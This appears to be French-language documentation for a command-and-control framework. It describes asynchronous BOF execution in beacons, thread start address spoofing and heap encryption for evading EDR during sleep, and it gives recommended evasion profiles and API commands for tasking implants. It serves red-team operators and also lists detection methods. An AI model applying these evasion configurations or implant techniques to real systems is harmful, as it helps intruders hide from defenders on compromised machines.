Exécutez un BOF en arrière-plan sans bloquer la boucle de tâches principale du beacon. La sortie est mise en file d'attente et livrée lors du prochain cycle d'enregistrement (pas de réveil anticipé - correspond au comportement de Cobalt Strike).
Syntaxe du shell :
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
bof_file | chemin | Oui | Chemin d'accès au fichier objet BOF compilé |
args | chaîne | Non | Arguments transmis au point d’entrée BOF |
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"bof_async","data":{"bof_path":"/tmp/enum_users.o","args":"CORP"}}'
Exécution asynchrone ou en ligne
| Caractéristique | inline-execute | bof_async |
|---|---|---|
| Blocage | Oui - le beacon attend | Non : s'exécute en arrière-plan |
| Livraison de sortie | Immédiat | Prochain enregistrement |
| Plusieurs simultanés | Non | Oui (goroutine-par-BOF) |
| Cas d'utilisation | BOF rapides | Énumération de longue durée |
Considérations OPSEC
- BOF s'exécute en cours de processus (identique à l'exécution en ligne) - pas de création de processus enfant
- La file d'attente de sortie est basée sur une carte pour l'interrogation - pas de signal de réveil précoce
- Plusieurs BOF asynchrones peuvent s'exécuter simultanément (modèle goroutine par BOF)
- Les résultats sont livrés lors du prochain enregistrement, quelle que soit l'heure de fin.
- MITRE ATT&CK : T1620 (chargement de code réfléchissant)
Evasion avancee du sommeil¶
L’usurpation de l’adresse de depart du thread et le chiffrement du tas sont des techniques d’evasion avancees du cycle de sommeil qui renforcent les threads et la memoire du beacon contre l’analyse EDR pendant les periodes d’inactivite. Les deux fonctionnent comme des hooks pre-sommeil/post-reveil integres dans le pipeline du masque de sommeil.
Usurpation de l’adresse de depart du thread¶
Probleme : Les threads du beacon injecte ont leur Win32StartAddress pointant vers de la memoire non-sauvegardee (privee). C’est un indicateur principal pour les outils d’analyse de threads EDR tels que Get-InjectedThread, Process Hacker et PE-sieve. Les threads OS legitimes ont toujours des adresses de depart pointant vers des exports DLL connus.
Comment ca fonctionne :
-
Resolution du pool d’exports -- Lors de la premiere utilisation, le module resout un pool organise de 6 exports DLL legitimes qui sont des points d’entree de threads courants :
DLL Export Justification ntdll.dllRtlUserThreadStartAdresse de depart de thread legitime la plus courante ntdll.dllTppWorkerThreadWorker du pool de threads -- naturel pour l’injection APC ntdll.dllTpReleasePoolRoutine de nettoyage du pool de threads ntdll.dllRtlExitUserThreadRoutine de sortie de thread kernel32.dllBaseThreadInitThunkThunk d’initialisation de thread standard kernel32.dllCtrlRoutineGestionnaire de controle de console Seuls les exports des DLL deja chargees dans le processus sont inclus (pas d’appels
LoadLibrary). -
Enumeration des threads -- Enumere tous les threads du processus courant via
CreateToolhelp32SnapshotavecTH32CS_SNAPTHREAD. -
Requete d’adresse de depart -- Pour chaque thread, interroge le
Win32StartAddressactuel viaNtQueryInformationThread(classe d’information 9,ThreadQuerySetWin32StartAddress). -
Usurpation -- Si l’adresse de depart du thread pointe vers de la memoire non-sauvegardee/privee (ne correspondant a aucun export DLL connu), elle est ecrasee avec un export selectionne aleatoirement dans le pool via
NtSetInformationThread. L’adresse originale est sauvegardee pour la restauration au reveil. -
Restauration -- Apres le reveil du sommeil,
UnspoofThreadStartAddress()restaure toutes les valeurs originales deWin32StartAddresset ferme les handles de threads.
Rotation par cycle (EVA-02) : A chaque cycle de sommeil suivant, RotateThreadStartSpoof() remplace chaque adresse usurpee par un export DIFFERENT aleatoire du pool. La selection utilise crypto/rand avec jusqu’a 10 tentatives pour garantir le choix d’une adresse differente. Cela annule les analyses EDR periodiques qui remarqueraient la meme adresse de depart persistant a travers plusieurs intervalles d’analyse.
Considerations OPSEC
- Efficace contre : Get-InjectedThread, inspection des threads Process Hacker, analyse de threads PE-sieve, tout outil qui verifie
Win32StartAddresspar rapport aux plages de modules - Methodes de detection :
- Reference croisee de
Win32StartAddressavec le pointeur d’instruction reel du thread (RIP/EIP) -- l’adresse usurpee ne correspond pas a l’endroit ou le thread s’execute reellement - L’inspection
ETHREADen mode noyau contourne entierement l’ecrasement en mode utilisateur - Analyse temporelle des appels
NtSetInformationThreadavec la classe d’information 9
- Reference croisee de
- Le champ
Win32StartAddressdansETHREADest une valeur stockee, pas calculee -- il peut etre ecrase sans affecter l’execution du thread - La rotation par cycle ajoute une surcharge negligeable (microsecondes par thread)
- MITRE ATT&CK : T1036 (Masquerade)
Chiffrement du tas¶
Probleme : Pendant le sommeil, les donnees sensibles du tas -- configuration, etat du transport, cache de credentials et tampons de taches -- restent en clair dans la memoire. Les scanners de memoire peuvent identifier les signatures du beacon, les URL C2 et les credentials recoltes en analysant les regions du tas pendant que le beacon dort.
Algorithme : AES-128-CTR avec acceleration materielle AES-NI. Contrairement au pipeline HeapMask existant base sur RC4 (qui utilise SystemFunction032), le chiffrement du tas utilise la bibliotheque standard Go crypto/aes + crypto/cipher en mode CTR, qui exploite les instructions materielles AES-NI sur les processeurs modernes. La performance typique est <1ms pour les tailles de tas typiques du beacon.
Rotation de cle par cycle : Chaque cycle de sommeil genere une cle de 16 octets et un IV de 16 octets completement nouveaux a partir du CSPRNG (crypto/rand). Le materiel de cle combine de 32 octets est conserve uniquement pendant l’intervalle de sommeil et mis a zero immediatement apres le dechiffrement via ZeroKey() explicite avec runtime.KeepAlive pour empecher l’optimisation du compilateur d’eliminer la boucle de mise a zero.
Portee de couverture (EVA-04) : Tous les enregistrements de tas suivis sont chiffres :
| Region | Description |
|---|---|
| Config | Configuration du beacon (URL C2, intervalle de sommeil, parametres operateur) |
| Etat du transport | Etat du client HTTP, pools de connexions, tampons de requetes |
| Cache de credentials | Credentials recoltes, jetons, hashes |
| Tampons de taches | Donnees de taches en file d’attente et en cours |
Le client de transport lui-meme est exclu via le drapeau ExcludeFromSafeHTTP pour eviter les blocages pendant les operations HTTP.
Chiffrement en place : Le mode CTR est base sur XOR, ce qui signifie que la meme operation XORKeyStream avec la meme cle et le meme IV chiffre et dechiffre. Aucune allocation memoire supplementaire n’est necessaire -- le chiffrement et le dechiffrement s’effectuent directement sur les regions memoire du tas.
Independant de HeapMask : Le chiffrement du tas fonctionne separement du pipeline HeapMask base sur RC4. HeapMask chiffre via RC4/SystemFunction032 ; le chiffrement du tas utilise AES-128-CTR. Les deux peuvent fonctionner simultanement pour une defense en profondeur.
Performance : <2ms combines chiffrement + dechiffrement pour les tailles de tas typiques du beacon. Pas d’appels VirtualProtect necessaires car la memoire du tas est deja RW.
Benchmark Nighthawk
Le chiffrement du tas atteint l’objectif d’exposition en clair <5% -- la memoire sensible est chiffree en quelques millisecondes apres l’entree en sommeil et reste chiffree pendant toute la duree du sommeil.
Considerations OPSEC
- Efficace contre : Les scanners de memoire qui recherchent des signatures de beacon, des URL C2 ou des chaines de credentials dans la memoire du tas pendant le sommeil
- Methodes de detection :
- Regions de tas a haute entropie pendant le sommeil (indicateur partage avec HeapMask)
- Correlation temporelle entre les appels de chiffrement et les intervalles de sommeil
- Modeles d’utilisation des instructions AES-NI (si surveilles au niveau CPU)
- La generation de cle CSPRNG par cycle annule la detection basee sur les motifs que les scanners XOR/RC4 utilisent
- Les cles sont mises a zero immediatement apres le dechiffrement -- aucun materiel de cle ne persiste en memoire
- MITRE ATT&CK : T1027 (Fichiers ou informations obscurcis)
Ordre d’integration dans le cycle de sommeil¶
L’usurpation de thread et le chiffrement du tas sont integres dans le pipeline du masque de sommeil comme des hooks pre-sommeil et post-reveil. L’ordre d’execution garantit que la memoire est protegee avant le sommeil et restauree avant que le beacon ne reprenne ses operations.
sequenceDiagram
participant B as Beacon
participant HE as Heap Encryption
participant TS as Thread Spoofing
participant S as Sleep Method
Note over B: Pre-sleep phase
B->>HE: 1. EncryptHeapRegions()
Note over HE: AES-128-CTR with fresh CSPRNG key+IV
HE-->>B: Returns 32-byte key+IV
B->>TS: 2. SpoofThreadStartAddress() / RotateThreadStartSpoof()
Note over TS: First call: spoof all threads<br/>Subsequent: rotate to new exports
B->>S: 3. Sleep (SleepEx or timer_queue)
Note over S: Beacon is dormant<br/>Memory encrypted, threads spoofed
S-->>B: Wake
Note over B: Post-wake phase
B->>TS: 4. UnspoofThreadStartAddress()
Note over TS: Restore original Win32StartAddress values
B->>HE: 5. DecryptHeapRegions(key+IV)
Note over HE: Decrypt with same key+IV, then zero key Justification de l’ordre :
- Chiffrement du tas avant usurpation de thread -- Garantit que la memoire sensible est chiffree meme si l’usurpation de thread rencontre une erreur
- Restauration avant dechiffrement -- Restaure l’etat des threads avant que le beacon n’ait besoin d’acceder aux donnees du tas pour le traitement des taches
- Les erreurs dans l’un ou l’autre sous-systeme ne sont pas fatales : le pipeline du masque de sommeil revient au sommeil normal et assure le nettoyage via la recuperation de panique differee
Bascules de configuration¶
Les deux fonctionnalites sont controlees independamment via les sous-commandes sleep_config :
sleep_config thread_spoof on
sleep_config thread_spoof off
sleep_config heap_encrypt on
sleep_config heap_encrypt off
Exemple d’API :
# Activer l’usurpation de l’adresse de depart du thread
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d ‘{
"beacon_id": "BEACON_UUID",
"command": "sleep_config thread_spoof on"
}’
# Activer le chiffrement du tas
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d ‘{
"beacon_id": "BEACON_UUID",
"command": "sleep_config heap_encrypt on"
}’
Utilisez sleep_config (sans arguments) pour verifier l’etat actuel des deux parametres ainsi que toutes les autres options du masque de sommeil.
Profils d’evasion recommandes¶
Utilisez ces profils comme points de départ pour différents scénarios d’engagement.
Laboratoire/Tests (Pas d'évasion)¶
Paramètres par défaut avec un rappel rapide pour une itération rapide.
Engagement standard (évasion modérée)¶
sleep 60 25
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
sleep_config sleep_mask on
Environnement lourd EDR (évasion maximale)¶
sleep 300 40
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
beacon_gate enable
beacon_gate mask_on_call true
sleep_config sleep_mask on
sleep_config heap_mask on
sleep_config stack_spoof on
sleep_config stack_depth 0
sleep_config method timer_queue
sleep_config thread_spoof on
sleep_config heap_encrypt on
safe_http on
scatter_alloc on
anti_analysis on
hwbp both on
argue net1.exe /enum /domain
Approche en couches
Commencez par une évasion minimale et ajoutez des couches si nécessaire. L'évasion excessive augmente le risque de problèmes de stabilité (en particulier le masquage de pile et la mise en veille de la file d'attente du minuteur) et rend le débogage plus difficile pendant un engagement. Utilisez opsec pour auditer votre configuration actuelle et identifier les lacunes.